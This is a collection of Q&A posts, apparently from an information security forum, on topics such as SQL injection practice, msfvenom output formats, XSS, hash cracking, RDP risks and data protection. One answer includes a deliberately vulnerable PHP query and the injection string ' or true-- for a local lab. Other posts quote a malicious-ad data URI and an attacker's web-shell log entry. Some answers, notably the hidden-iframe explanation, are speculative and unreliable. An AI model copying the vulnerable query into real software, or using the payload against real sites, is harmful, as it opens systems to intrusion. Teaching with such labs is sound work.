A simple and passive solution would be to log all incoming connection attempts to syslog, run your scan, and when you get home look at the logs. With iptables, you can log connections like this:

iptables -A INPUT -p tcp -m state --state new -j LOG --log-prefix "New connection: "

That way, you don't need to run a service that answers all connetion attempts.


How to securely dispose of a smartphone? How to dispose of a smartphone (it's an iPhone 5) at home? I was reading through this SE site questions and found this one which hardly applies here. Besides, I'd want to do it so that:

It's not damaging the ecology (at least not too much)
I don't have to do it with work tools (I don't have a hammer and surely don't want to set anything on fire in my apartment)

The device is currently in use for all sort of things - 2factor auth, custom authenticators, personal data, banks eTAN etc etc.

After the disposal, the data from the device must be impossible to restore and the device should be impossible to use as anything but decoration.

Unless you have secrets on that phone that someone would pay a lot of money to uncover, you don't need to go overboard. A factory reset would work just fine.

To decrease the chances someone would still recover something, point the camera out of the window and let it record until it fills up all memory. Repeat if you want. Doing that will overwrite almost everything, and anything it could be recovered will mean too little to be of any use.

But if you have secrets that would make someone use a electron microscope on it, rent a clean room or spend hundreds of times the price of your phone to recover its data, physical destruction is the only safe option.


What Twitter #hashtags apply to IT Security I'm trying to search twitter for evidence of near-realtime alerts or updates regarding security issues.

What hashtags are common or popular in the IT Security world?

#infosec and #security are the two main hashtags I'm aware of.

Depending on what you're interested in there are other less popular hashtags. For example:

#websecurity
#privacy
#cybercrime
#cyberwar
#hacker and #hackers
#cybersecurity
#malware
#spam

There's also the option to use multiple hashtags in your search. If, for example, you are interested in Android security, you can search for "#android AND #security".


How to Estimate the Value of GIAC certification to future career growth and earnings? I am currently a CISA exam passer having passed my Certified Information Systems Auditor (CISA) exam from ISACA in June of last summer. I currently work as an IT auditor to accumulate the work experience necessary to obtain CISA certification.

Recently, I have been been reading about one of the GIAC certification - GIAC Systems and Network Auditor (GSNA), and am considering pursuing this certification.

How can I measure the value of pursuing GIAC GSNA certification to my career growth and future earnings?

A quick way to estimate the value of any certification is to search for it in job requirements across websites where jobs are posted.

This can show you two things:

The current demand for any given certification.
A potential estimate on what jobs pay for people holding such a certification.

That said, something very specific to the certification you are asking about is if this is your first GIAC certification you'll also want to look into the jobs which require some form of GIAC certification but may not specifically list the one you have.

Finally, keep in mind that the certification itself does not directly relate to career growth unless you are leveraging it to do so by changing jobs or landing additional contracts, etc. There are lots of ways certifications can help but the value of any given certification will be unique to the person who earned it. Likewise, certifications may be of more value to contractors than to full-time employees because they will leverage it more often.

The benefits of most certifications are usually worthwhile because they can open more opportunities but at the same time they are indirect and hard to measure.

I also want to quickly point out that certifications are not the only way to do this. If you write cool software and post it on github or do any number of interesting projects you can leverage these in a similar manner and include them on your resume to put you ahead of your competition. In this respect certifications are mainly useful when working with recruiters that are looking to match minimum requirements.


How to white hat Pen Test SQL injection I will start off with saying apologies if this is something that has been asked 100s of times or is moot question within testing circles.

I have come across this article

I'd like to test this out but would rather do it on a real life scenario. I do not have access to a DB to create a POC and would feel far greater sense of achievement actually trying this on a working DB. I find most websites which offer places to practice SQL injection are rather pedantic.

How do you guys test? I'm interested in the field of sec and am aware of the number of different vulnerabilities but actually carrying them out, I would be rather lost and would relish the opportunity to practice.

The question is aimed at SQL injection but any resources to test sec vulnerabilities first hang would be welcome.

Thanks in advance guys.

I would always recommend building a lab yourself at home, and this really is much easier than you probably imagine;

Install VirtualBox (this is free, and cross platform)
Download a Linux CD Image (I would recommend Debian, also free)
Fire up your new Debian virtual machine by mounting the CD Image and running the installation.
Install a database and webserver; apt-get install apache php5 mysql-server libphp-mysql
Add a table and some data to your database; CREATE TABLE, INSERT
Create a vulnerable php page; mysql_query("SELECT * FROM my_table WHERE id=".$_GET['id']);
H4x0r it; http://127.0.0.1/vulnerable.php?id=' or true--

Whole process from scratch, maybe 1 hour plus download times, and you'll have a setup you can really learn from - a huge part of understanding attacks comes from setting up the vulnerabilities yourself, so you can see how they can come about.

This setup will also serve you well if you move onto other types of software exploitation, such as buffer overflows in network daemons.


MSFvenom format specifier In msfvenom, what does it mean exactly when I specify the format to C or Python? And what is the format 'raw' for? I know, when the format is psh-cmd it runs in the command prompt, and when it is exe it runs as a normal executable, but what about the others?

There are 2 formats in msfvenom. Executable formats and transform formats (see Metasploit unleashed).
The first one will create an executable of some sort. exe will create a Windows executable. Elf will create a Linux executable. Psh will create a powershell script you can execute right away. And so on.
The transform formats format the payload in the given format so that you can include it in a program of the same format. if you provide "C" here you will get an array of unsigned char. Up to you to use it in your C source code. You will most probably use the transform-format when writing an exploit and sending the payload over the network. If the exploit is written in ruby you'll want the payload as ruby array.
I just tried format "raw": It seems to output the payload as pure binary executable code. Don't know what one would use that for, didn't happen to me yet.


How does LastPass know that Microsoft.com uses the password for Live.com? When I visit Microsoft.com, the LastPass dropdown lists my username/password for login.live.com.  It does something similar for Playstation.com and several other sites.

How does it know?  Are these hard-coded into LastPass, or is there some markup or HTTP header or something on Live.com that specifies its credentials can be shared with other domains?

Lastpass uses a preconfigured and extensible set of site aliases to make two or more domains equivalent.

Here is a snapshot from my account settings page. YMMV.


What possible use does an iFrame have for security? I'm looking at code for an old login form I'm redesigning. It's a simple table with two input fields for username and password.

But just before the end </table> tag there's a blank iFrame which looks like

<iframe style="height:0px;width:0px;visibility:hidden" src="about:blank">This is a security measure.</iframe>

What possible security measures could this provide? I can't think of any and can't ask the guy who put it there in the first place.

It is a security measure, as the description in the code implies. The iframe serves as a protection mechanism against XSS exploits through browsers' own measures against these very same attack types by preventing JavaScript access to frames and iframes when they're not published on the same domain. It isn't really necessary to write this part of HTML directly in the document, as it could as well be written by the same JavaScript that is latter manipulating its contents, but the developer of this solution probably wanted to make it clear to future developers that some external script is verifying the log-in form before it's posted and that the browsers XSS prevention mechanisms are used to achieve better end-user security while signing-in. This is also strongly implied by the lack of an ID for the iframe, which would make referencing it so much easier.

Developer would then attach a JavaScript script element to iframe DOM with a code that would look something like this:

window.onload = function () {

    var iframe = document.createElement('iframe');
    iframe.width = "0px";
    iframe.height = "0px";
    iframe.style.visibility = "hidden";
    iframe.id = "noXSSframe";
    iframe.setAttribute("src", "about:blank");

    document.getElementById("formID").appendChild(iframe);

    iframe.addEventListener('load', function (e) {
        var myElement = document.createElement('script');
        myElement.setAttribute('src', '/content/test.js');
        myElement.setAttribute('type', 'text/javascript');

        iframe.contentDocument.body.appendChild(myElement);
    }, false);

}

This is just an example and is not necessarily the exact same method your developer chose, but should serve good enough for demonstration purposes.

This external JavaScript file that's just been attached to the iframe would then be written in such a way to account for being run through an iframe, referencing parent document object in a way that only a script located on the same domain is permitted, while any XSS injections replacing the called script with a script hosted outside of the parent document domain would clearly be denied access by browsers themselves. The only way to prevent browsers to enforce same origin policy for XMLHttpRequests is by attaching additional headers to the server's HTTP response and explicitly allowing cross-origin resource sharing (CORS). This however isn't something XSS injections alone can tamper with.

In short, it's an elegant way to make sure the JavaScript that's responsible for manipulating, verifying and ultimately posting a log-in form (preparing and initiating a HTTP request) is indeed loaded from a file hosted on the same domain the log-in form is on, effectively preventing simple XSS injections. At the same time, it also prevents phishing sites from reusing this log-in form and sending log-in requests to another domain, if the iframe script does some additional verification, attaching unique response values that can be verified server-end to the form's POST request.


Is it safe to use SHA-512 to identify credit card? I am thinking if using one-way function like SHA-512 is considered to be safe for application on credit card numbers.

The credit card number is 13-19 number with known BIN range (6-8 numbers) and the last one is determined as Luhn check. So there is a space of 10 number in ideal case which can be permuted.

Someone can compute hash tables using graphic cards like GTX 1080 Ti or similar to determine card number which is associated with some particular hash in a second.

When I consider price of such graphic cards and time and space I need to perform such attack, I feel it is practical and available to everyone.

Is it considered to be secure?


Blocking executables at the firewall in the enterprise The infrastructure team in our medium enterprise has requested blocking of all executables at the firewall. We have a firewall which is capable of DLP, so therefore this can be set up fairly easily. I'm not sure if this is a good idea or not. My questions are:

Is this common practice in enterprises?
What are the advantages and disadvantages of doing this?
What are some other options that may be preferred?

The reason they want this is to protect the network, and specifically users PC's. One obvious disadvantage is that we may end up blocking a valid business exe. Another option is to use some sort of application whitelisting, but this only addresses part of the problem. Anything else I am missing?

Thanks for your help.

It is common to block (and then whitelist) executables however this has the burden of upset users and then overworked support staff who need to maintain the whitelists.

What we're seeing nowadays is slightly more sophisticated tools that introspectively look at the EXE to see if it "looks" like malware.  One of my clients uses wildfire which will poke around with the executable in a sand boxed environment to see if it triggers any standard behaviours of malware.  Like a lot of these solutions, the vendor will use standard heuristics as well as have connected systems back to a NOC that will investigate new malware and send out new patterns to each firewall straight away.

These types of tools also come with consoles with visualation and the goods ones can integrate with your SIEM.


Content sniffing XSS attack? As a part of work, I've come across content sniffing, and i understand web apps can be vulnerable to xss because of it. There is another post, regarding content sniffing and xss, but didnt quite answer my question, or maybe i just misread it. content sniffing will read the file to try and determine what type of file it is. If there are malicious html tags, they may be rendered.

So say i go to www.xyz.com, it loads, (using chrome for this example), i right click --> view page source, copy the page source into an html file, save on my desktop, added a xss line within the page. I reload in chrome and page loads with the typical alert box. Now, because the modified html was loaded from my desktop, is this not a xss vulnerability on the website's end?

No, loading an HTML file from your computer is never an XSS vulnerability.  You can run whatever code you want locally, but that doesn't affect the website.

Cross-site scripting is about getting your code executed on other user's browsers so you can interact with their session for that site.  Whether that is stealing a session cookie, performing actions, or any other interaction on the site, it has to be on another user.  Running scripts on yourself is rather meaningless, you could do the action yourself!

Always consider: what could I do with this?  If you can't do anything that affects the confidentiality, integrity, or availability of a service, then it's not a security vulnerability.


Weird DNS queries to messager.xicp.net A DNS query for this domain (messager.xicp.net) was classified and detected as "Trojan.Generic.DNS" by the FireEye NX  in our network.

So, I used both VirusTotal and abuseibdb sites to check this domain. It seems it's mapped to 127.0.0.1 (localhost) and when I ping this domain it pings my localhost IP. Could you explain this behavior?

I tried using viewDNS to trace route and I got this output:

  traceroute to messager.xicp.net (127.0.0.1), 30 hops max, 60 byte
  packets 1 obfuscated.internal.network.com (0.0.0.0) 0.000 ms 0.000 ms
  0.000 ms 2 obfuscated.internal.network.com (0.0.0.0) 1.000 ms 1.000 ms 1.000 m

Could you please explain this behavior, why it's mapped to 127.0.0.1 (It wasn't like this according to the results from VirusTotal as it was mapped to this IP 174.128.255.245 on 2018-04-11)

Domains getting mapped to localhost is common when you want to route traffic destined to an external domain to the local machine first for proxying/inspecting/modification.

There are valid reasons for doing so, but it is also a method used by malware for malicious purposes.


How long will it take to crack the passwords stolen in the Yahoo hack announced 14 Dec 2016? Apparently Yahoo was hacked yet again with up to a billion user accounts being compromised. The article says Yahoo uses MD5 for password hashing.

Are the hackers likely to be able to crack the passwords too?
How long will it take to crack 1 password?
Is the time to crack 1 billion  , just 1B * t ?

Yes, they were likely able to crack many of the passwords in a short time.

From the official Yahoo statement:

  For potentially affected accounts, the stolen user account information may have included names, email addresses, telephone numbers, dates of birth, hashed passwords (using MD5) and, in some cases, encrypted or unencrypted security questions and answers.

MD5 is a disputable choice for password hashing because its speed makes cracking MD5-hashed passwords really fast. Also, they are likely not salted, since Yahoo would have certainly let us know. (A salt would have helped to prevent the use of rainbow tables while cracking.)

You can see the drawbacks of simple MD5 hashing when you compare it with the Ashley Madison breach in 2015 which leaked 36 million accounts. In that case, they used bcrypt with 212 key expansion rounds as opposed to Yahoo's plain MD5 which is why back then researchers could only decipher 4,000 passwords in a first attempt.

From the article:

  In Pierce's case, bcrypt limited the speed of his four-GPU cracking rig to a paltry 156 guesses per second.
  [...]
  Unlike the extremely slow and computationally demanding bcrypt, MD5, SHA1, and a raft of other hashing algorithms were designed to place a minimum of strain on light-weight hardware. That's good for manufacturers of routers, say, and it's even better for crackers. Had Ashley Madison used MD5, for instance, Pierce's server could have completed 11 million1 guesses per second, a speed that would have allowed him to test all 36 million password hashes in 3.7 years if they were salted and just three seconds if they were unsalted (many sites still do not salt hashes).

So, cracking a large portion of the Yahoo passwords is a matter of seconds (while some stronger passwords will remain unbroken). An exact answer would depend on the available computation power and the password security awareness of Yahoo customers.

1As @grc has noted, 11 million hashes per second appears rather slow. @Morgoroth's linked 8x Nvidia GTX 1080 Hashcat benchmark (200.3 GH/s for MD5 total) is a good resource for more up-to-date measurements.


Company's right to insist on personal info I have a maintenance contract with Scottish Hydro for my boiler. Whenever I call them, or they call me, about a repair or service, they demand my name, DOB and address (even when I provide them with an account number). They insist this is "for data protection". They refuse to deal with me if I don't respond. Why on earth is such info needed for a boiler repair? It has nothing to do with financial aspects of my account. Can they continue to demand this info?

Given that the provider you're dealing with is Scottish Hydro, it's reasonable to assume you're in Scotland.  Scotland is covered by the Data Protection Act 1998 for which the principles are that data must be:-

  used fairly and lawfully
  used for limited, specifically stated purposes
  used in a way that is adequate, relevant and not excessive
  accurate
  kept for no longer than is absolutely necessary
  handled according to people’s data protection rights
  kept safe and secure
  not transferred outside the European Economic Area without adequate protection

As to if they're breaking the law or not it's arguable, while they are not taking action that will cost you money they are taking actions which may affect your policy (for example number of call-outs per year etc) or may be accessing a part of the system where they can view or update payment details so they'd want to be sure it was someone authorised to do so.

That said, there are security risks which their procedures open their customers up to (for example miscreants could contact a large number of people posing as Scottish Hydro and obtain personal information) so they certainly have plenty of room for improvement in their data handling procedures and that's definitely worth raising with someone at a high level (you should ask to speak to or for contact details of their nominated 'Data Controller' and you should get a named contact).

It is likely that the people you've spoken to are not properly aware of the law or their rights and obligations under it.  This is common among call centre staff to use data protection as an excuse even when you point out that they've made a huge privacy blunder.  They probably have a script which will not allow them to continue without the information even if they agreed the request was excessive use of your personal data.  They don't have the power to do anything about it, most of the time they are outsourced and don't directly work for the company you're paying anyway.

  If you think your data has been misused or that the organisation holding it hasn’t kept it secure, you should contact them and tell them.

  If you’re unhappy with their response or if you need any advice you should contact the Information Commissioner’s Office (ICO).

  ICO helpline
  Telephone: 0303 123 1113

  The ICO can investigate your claim and take action against anyone who’s misused personal data.

  source: gov.uk

And money talks as pointed out in the comment:- nothing forces you to keep doing business with them. – André Borie


How to protect personal data requested by Certificate Authorities from data theft? I recently uploaded images of my passport and driver's license to a Certificate Authority (CA) to apply for SSL certificates. The submission was rejected because I have added watermarks to prevent data theft. I explained to the Cert Master that the watermarks do not block any important details on my passport and driver's license and they are meant to prevent misuse in case the data was stolen.

The reply I was given is that this is standard audit requirement by all CAs. If this is so, how do we prevent others from posing as us using those documents if they somehow managed to obtain them?

The Online Trust Alliance (OTA), an industry organization with widespread CA membership, maintains a set of operational security best practices which all CAs should abide by. However, the documents do not recommend specific data retention policies, nor do they attempt to define PII (personally identifiable information).

The implementation of OTA Best Practices will vary from CA to CA, so the best course of action I can see is to begin by selecting a provider based on their published policies and meta-information, e.g. news stories related to CA security breaches. Once potential candidates are selected, ask them specifically about your concerns and how their policies address them.

There is no compelling reason for a CA to indefinitely retain such easily-exploited PII as a scanned passport, because this information is only used in due diligence before the issuance of a certificate.


How can email address account as the weakest security link be prevented? Internet accounts nearly always use email addresses as the way to logon.
If you forget your password, it is often easy for anybody to just request a way to reset the password. So assuming you have one email address with many common website accounts, once someone hacked into your email address account, they would be able to control many other accounts.

Is this something we have to just be careful about by being cautious with where we login and using good passwords, or are there common tactics from user and website perspectives to combat this?

Two factor authentication solves most issues.

Ideally we would be using more than two, but that is what the web is currently built around. Enforcing the use of not only a password, but that with something the user has (a smartphone/tablet), security for the respective account is increased. Not only does the attacker have to breach the account, but also the portable device.

Steam, a gaming platform, allows users to tie their account to a mobile token. This generates a one time series of characters and numbers that must be entered when logging in.

Google uses it's own system, the Google Authenticator, which is leveraged off a Time/HMAC based One-Time password system.

While most attacks on the internet are done from a very remote location compared to the user, a hardware token does not solve the problem that a local attacker could simply enter the code. This is where biometrics come into play, but aren't integrated into the public internet as of yet.

Web Links:

https://support.steampowered.com/kb_article.php?ref=8625-WRAH-9030

http://www.techrepublic.com/blog/google-in-the-enterprise/use-google-authenticator-to-securely-login-to-non-google-sites/


Amazon EC2 security compared to a standalone server Lets say I want to run a out-of-the-box instance on Amazon EC2 and on my own standalone server. I don't run anything on them, just let them idle by themselves. What is the relative level of security offered by Amazon in that situation in comparison to a standalone server (say, if someone wanted to brake into those servers and install some malware on them)? What attack types are less likely to be successful?

They are relatively similar and there is nothing special about an Amazon EC2 server that you can not achieve at home.

However, the two defaults that won't occur (by default) in an ordinary install of, say, CentOS are:

+Security Groups - By default all external traffic is forbidden. You must set up a 'security group' to allow specific ports and I.Ps. However, allowing all ports and all I.Ps is relatively simple.
+Key-Pair Authentication - By default it is not possible to log in to an EC2 server with a simple password. You must generate a private key and use that to log-in. Making bruteforcing much less likely.

Of course, there is a clear security negative with the EC2 cloud:

-Public I.P - All EC2 instances have a public I.P., if you modify the security groups improperly then you're potentially opening yourself up to malicious traffic. Whilst on a local network your server can hide behind a NAT or not be connected to the internet at all.

There are other advantages of EC2 over, say, keeping the server in your bedroom. But these apply more generally to data center vs. bedroom:

+Physical security
+Safety from Natural Disasters
+Safety from Power failure
+etc. etc.


Is it possible to use drawing or scribbling as a way of authentication? There is a service called https://www.typingdna.com/ which authenticates users based on their typing habits and it works pretty well but it still requires a password.

In order to try and replace the password, would it be possible to implement a popup like sized modal such as the Google Recaptcha thing where a user would either use their mouse or finger to scribble in order to authenticate, each user must scribble in a different way? So the idea is based on everyone having their own unique scribble which would produce a match in order to authenticate a new session on a website.

Is this idea possible? If it was, the "password" space would be huge, correct?

I don't know the academic literature around TypingDNA-like methods, but I can throw in some ideas. In essence what you're describing is the Android Pattern Unlock, but instead of a 3x3 grid, you have a, say, 200x200 pixel writing area, right?

  If it was, the "password" space would be huge, correct?

Technically yes, but be careful not to conflate the theoretical number of possibilities with the distribution of what people actually select. For example:

90% of people's scribbles will be continuous strokes in the centre of the writing area rather than, say, doing random jumps right to the edges.
Fuzzy matching: two strokes by the same person will never be identical, so you will need an algorithm that accepts "similar" strokes as being equivalent.  The fingerprint unlock chips in iPhone and Android have to deal with this, so you could do some reading there.

I don't have any numbers to do a calculation, but my intuition is that in practice this password space will end up being in the same ballpark as a 12 character password.

Capture and replay attacks: keyloggers are a problem with passwords; what's preventing a malicious program from logging your mouse movements and replaying them? You'll notice that RECATPCHA challenges are designed to be record&replay-proof. Fingerprint scanners deal with record&replay by giving the scanner chip its own CPU; on successful match it uses a cryptographic key to sign a message to the OS saying that you have successfully authenticated so that the OS and software never actually see the fingerprint -- nothing to record. I wonder what protection TypingDNA has against record&replay attacks.

Bottom line: Thinking through the attack surfaces is the most fun part of security work. I suspect this idea wouldn't give any more security than a traditional password, but it's neat and fun to think about!


How exactly do malicious ads run code? Visiting quite a few malwaretisers (I think this is the term :) ), I get popups with address bar something like data:text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgZT0obmV3IERhdGUpLmdldFRpbWUoKTt2YXIgZWZ3PXdpbmRvdy5uYW1lLnNwbGl0KCdfJylbM107aWYoZS1lZnc8MjUwKXt3aW5kb3cubG9jYXRpb249Jyc7fTwvc2NyaXB0PjwvYm9keT48L2h0bWw+

The encoded part of this one translates to:

What I do not know is why browsers support such inlining of pages/scripts, and where the actual malicious URL enters the picture. Perhaps it has already been queued and when it opens it has nothing to do with this snippet?

I think data uris like the one you mentioned have the benefit of increased website performance/ load time because it eliminates the network connection latency of downloading another page or frame.

In many legit cases there is no additional url. It's literally a page embedded within a page.

What I've seen with credential phishing though is attackers use data uris like this and then the "url" comes into play as the post action in the html form. So the password is collected in a text box in the data uri but posted to the attackers url.


How 'Logjam' attack affects openID since it uses Diffie-Hellman key exchange method? According to the Diffie-Hellman key exchange get affected by logjam, and openID uses this to establish an association. So how this going to affect OpenID?

logjam is not (even remotely) a break of the Diffie-Hellman key exchange method. It is a weakness of the TLS protocol. It affects only sessions, not credentials. It will soon be fixed. I estimate zero impact on OpenID. The "bad guys" cannot do MITM, only governments and ISPs could (in principle) do MITM.


Why would a remote desktop connection harm my PC? When I try to connect to a remote desktop, a message appears which says something like "Make sure you trust this PC, connecting to untrusted computer might harm your PC". Why would it harm my PC? I can understand that if I am sharing local resources or something like that, but if I am just connecting to a remote desktop how would that harm my computer? isn't it like sandboxed? how will the remote desktop access my PC?

This is a good question! First a disclaimer that I'm not really qualified to give a complete answer, as I have so far been fairly good at avoiding RDP security issues in untrusted environments. I do use both RDP clients and servers though, but only ever on trusted hosts. That said, I do have a few thoughts why we're seeing such warnings;

It would be fairly reasonable to assume that the majority of security risks would be undertaken by running a RDP server (what Microsoft calls Remote Desktop Services), and there were some quite infamous exploits of it in the past, for example vulnerability to the pass-the-hash or MiTM attacks on non-encrypted connections. We probably still all remember disabling Remote Assistance and removing associated port exceptions in firewalls as one of the first things we did upon installing Windows XP, for example. But risks involved in using a RDP client (or Remote Desktop Connection in Microsoft's terminology) don't seem so self-obvious.

For a more in-depth explanation on terminology used and distinction between a RDP client and a RDP server, please see the update at the end of my answer. But to make things clearer, this is the warning dialog that OP is talking about in the question:

While I haven't been able to find documentation on any recent self-propagating exploits (i.e. viruses, trojans, or worms) taking advantage of Remote Desktop Connections through the use of the updated RDP protocol clients, especially those using TLS, there are still some risks involved with connecting to untrusted RDP servers:

User activity tracking and keylogging: In essence, untrusted RDP server could log all your activity on the server, including websites you browse to, files you download, documents you accessed and were changing, passwords you entered to access remote services through the RDP server, basically keep track of your complete user session.
Infection of client through remote hosted files: Any files you download from the server hosting a RDP session could be tampered with, or infected with malware. You could falsely assume trust in any of these files, thinking since you put them there during your previous RDP session that they weren't tampered with or infected in the meantime, transfer them to your RDP client and open/execute/...
Man-in-the-middle: Similar to user activity tracking, only this time the attacker is active on the RDP server you connect to and is listening in on your RDP client to RDP server connection, RDP server to remote LAN / WAN connections, or possibly both. On top of being able to inspect contents of exchanged network packets, man-in-the-middle is also able to change their contents. The RDP session can be encrypted using TLS, effectively preventing eavesdropping on it, but that isn't necessarily the case with where else you connect to (remote LAN or WAN) using the RDP server.
Social engineering attacks: You could be a victim of a social engineering attack where the attacker gains your trust under false pretense, and cons you into entering a RDP server address that you believe can be trusted in your RDP client while establishing a new session, but the address you entered is actually of attacker's choosing. The attacker could host a RDP server on that address for the sole purpose of recording your login credentials for another, real RDP server you intended to connect to. Thanks to @emtunc for reminding me of this threat!

Honestly, I've probably left out a lot of other possibilities to abuse users trust in the RDP server they're establishing a session with, especially when RDP server can not be trusted but the user assumes this trust anyway, failing to see the potential danger in doing so. But these four example attack vectors should be hopefully enough to demonstrate that there is a clear need for such warnings you're receiving.

Edit to add: Seeing there's some confusion regarding terminology used in my and other answers (which we all use in same way as far as I can tell), I want to clear things up which of the two ends involved in a RDP session is considered a client, and which a server (or a host). These are the excerpts from Wikipedia, to exclude any biased and opinion based explanation:

  Wikipedia on Client (computing): A client is a piece of computer hardware or software that accesses a service made available by a server. The server is often
  (but not always) on another computer system, in which case the client
  accesses the service by way of a network. The term applies to
  programs or devices that are part of a client–server model

  A client is a computer program that, as part of its operation, relies
  on sending a request to another computer program (which may or may not
  be located on another computer). For example, web browsers are clients
  that connect to web servers and retrieve web pages for display. Email
  clients retrieve email from mail servers. Online chat uses a variety
  of clients, which vary depending on the chat protocol being used.
  Multiplayer video games or online video games may run as a client on
  each computer. The term "client" may also be applied to computers or
  devices that run the client software or users that use the client
  software.

  Wikipedia on Server (computing): A server is a system
  (software and suitable computer hardware) that responds to requests
  across a computer network to provide, or help to provide, a network
  service. Servers can be run on a dedicated computer, which is also
  often referred to as "the server", but many networked computers are
  capable of hosting servers. In many cases, a computer can provide
  several services and have several servers running.

  Servers operate within a client-server architecture, servers are
  computer programs running to serve the requests of other programs, the
  clients. Thus, the server performs some task on behalf of clients. The
  clients typically connect to the server through the network but may
  run on the same computer. In the context of Internet Protocol (IP)
  networking, a server is a program that operates as a socket listener.

To put this into perspective how this terminology applies to a RDP session, I'm also including excerpts from the previously linked RDP server (Remote Desktop Services) and RDP client (Remote Desktop Connection) Wikipedia pages:

  Remote Desktop Connection (RDC, also called Remote Desktop, formerly known as Microsoft Terminal Services Client, or mstsc) is the
  client application for Remote Desktop Services. It allows a user to
  remotely log in to a networked computer running the terminal services
  server. RDC presents the desktop interface (or application GUI) of the
  remote system, as if it were accessed locally.

  The server component of Remote Desktop Services is Terminal Server
  (termdd.sys), which listens on TCP port 3389. When an RDP client
  connects to this port, it is tagged with a unique SessionID and
  associated with a freshly spawned console session (Session 0,
  keyboard, mouse and character mode UI only). The login subsystem
  (winlogon.exe) and the GDI graphics subsystem is then initiated, which
  handles the job of authenticating the user and presenting the GUI.

And to put it visually, Remote Desktop Connection client on Windows 8 looks like this before establishing a RDP session:


Mobile apps social Oauth I need to develop iOS and Android apps that should have to communicate with a server throught RESTfull API. Also I need to register and authorize user throught popular social networks like Facebook, Twitter, Google.

What is the best scenario of doing that? For example: I generate access_token in my mobile app and then sending it to the server like example.com/auth?google?<access_token>. Could somebody stole my access_token then get access to the user's personal info or to the user's account?

The token that you are speaking about is not generated in the mobile app. It is generated in the 3rd-party authentication servers and passed to your mobile app. Your mobile app has to pass it back to the servers to validate your apps's authorization.

Regarding security of the token, assuming that you are using SSL, you can pass the token in either a query parameter as you suggest or as a message header. The Authorization header is the standard one to use, but, as you own both the mobile app and your server, you can put it in any header.

My preference is to never put anything that needs to be kept secure in a query parameter. URLs have a nasty habit of getting exposed via logs or other mechanisms. So I prefer using the header.

When you communicate with the 3rd-party servers like Google, you'll have to use whatever mechanism they require.


enforce some peers to use IPsec and allow others to bypass it when reaching the same server Lets assume I have a server that owns UDP socket. And then, for some clients, this server would expect to receive this UDP traffic encapsulated over IPsec. While for some others clients (the default), it lets them to contact the same server in Plain text without using any IPsec.

To me this seems something like "opportunistic authentication", because the clients that don't require authentication can still reach server's UDP socket over plain and could even try to spoof traffic under some circumstances so that it would look as if it came from a host that was expected to communicate over IPsec.

What security experts say about such security designs? Are there any certifications (FIPS etc) that prohibit such designs because it effectively means that server is letting attacker to bypass IPsec authentication and Application Layer would have to make decision whether traffic was spoofed or not.

... letting attacker to bypass IPsec authentication and Application Layer would have to make decision whether traffic was spoofed or not.

UDP is a transport layer protocol, while IPSec is a network layer protocol. Contrary to higher layer security protocols like TLS the server application will not be able to tell if the data were sent through IPSec or plain, it only sees the application data. In order to distinguish this you need to have different endpoints (IP address and/or port) for IPSec and plain traffic.

  ...for some clients, this server would expect to receive this UDP traffic encapsulated over IPsec. While for some others... without using any IPsec.

With a normal network setup there should only be a single route to the server host, which is either through the VPN (IPSec) or not. Thus a client would need to be taken outside of the VPN to connect in plain to the server or the server need to have a second address which is not in the route of the VPN.

This means the default does probably what it should do. But one has to question the decision to let all client connect by default without encryption. Instead I would recommend to maybe allow local clients (same network) without encryption, to allow for some other clients connection through VPN and to forbid all other clients to connect at all.

But I think your question lacks enough detail to decide if the setup is safe or not. I think you can build both a safe setup and an insecure setup which both match your current description of the setup.


How to prevent my site from being hacked by learning from server log? My site had been hacked today and I was also able to find the injection point in my site. I'm working on how to prevent this in future.

This is my server log:

8.37.230.5 - -  "POST /admin/images/uploads/pro_01-04rin.php HTTP/1.1" 200 38597
"http://mywebsite.com/admin/images/uploads/pro_01rin.php"
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; SM-G313HZ Build/KOT49H)
AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0
UCBrowser/10.10.8.820 U3/0.8.0 Mobile Safari/534.30"

What I know:

I have tracked down this IP 8.37.230.5 but it leads to nowhere because every hacker uses some kind of proxies, so definitely this is a fake IP.
Information about User agent is Mozilla/5.0 (Linux; U; Android 4.4.2; AppleWebKit/534.30 UCBrowser/10.10.8.820 U3/0.8.0 Mobile Safari/534.30)

My questions:

If every hacker uses proxy then what is the benefit of getting this ip in the server log?
Is there any other way to get the real ip of the user by any modification in my website so that I can identify who did this?
As you can see in user agent, there are  Android 4.4.2 and UCBrowser/10.10.8.820. What does this mean? Did they hack my website from UC Browser in Android 4.4.2?

I've googled about this but no luck.

The IP goes to Quantil Networks. Quantil is the datacenter for UCWeb, the maker of UC Browser (the useragent used). This is very useful info.
There are ways to use Java to unmask a proxy user, but they are not foolproof. There are many questions here about how to do that.
An online useragent parser returns:

UC Browser 10 on Android (KitKat)
Samsung SM-G313HZ

Useragents can easily be changed or spoofed, but this is what this useragent means, real or not. Given where the IP is coming from, it is likely accurate.

None of these things will prevent attacks in the future, but they do help you understand who sent this attack. It looks like a UCBrowser user on a Samsung device using the UCWeb proxy. You could try reporting this abuse behavior to UCWeb and they might be able to look into it further.


Is it necessary to have security documentations, policies, DRP & BCP's at place in order to execute secure network architectural review? One of my client has ISO 27001 audits at their disposal and they have been going through audits. Meanwhile, they are taking custom security services from our company where-in one of the deliverables happen to be Secure Network Architectural Review. While opting the services provided, they haven't informed before-hand that they did not had specific security documentations, policies and the framework in place to carry out the task.

To me viewpoint, I would had these requirements to carry out SNA or Secure Network Architectural Review process:

Information Security Policy
Network Security Policy

Application Security Policy

Information Asset Register & Classification adhere to CIA

Password Standards

Access Control
Disaster Recover Policy (DRP)
Change Management Policy
Business Continuity Plan (BCP)

Since we are about to provide them information security risk assurances and they have these missing gaps, my primary question drops to few bottomline's here:

Is it necessary to have these documents, policies, DRP, BCP's etc built from the scratch to tighten up security to carry the task at hand?
Does the ISO 27001 require all these to be previously there? and if yes, how they still had been audited at the first place but no management had pushed forward the missing documentations, policies, etc gaps?
If we are to provide serious risk assurances, should we provide them another service to create these docs, policies or shall it be covered along with SNA? (I know this is an executive view-point but still overall opinions needed)

I have worked in the IT Audit / IT Security profession for a while now, and I will answer from my professional experience.

  Is it necessary to have these documents, policies, DRP, BCP's etc
  built from the scratch to tighten up security to carry the task at
  hand?

The policies you specified in your list are a basic necessity to a well functioning IT security program. Ask yourself the following questions:

How do you ensure a consistent , reliable method of administering Information technology if you don't have tangible documentation in place?
How do you expect employees to cooperate in IT Security mission if they don't know the purpose, polices, and their role in the program?
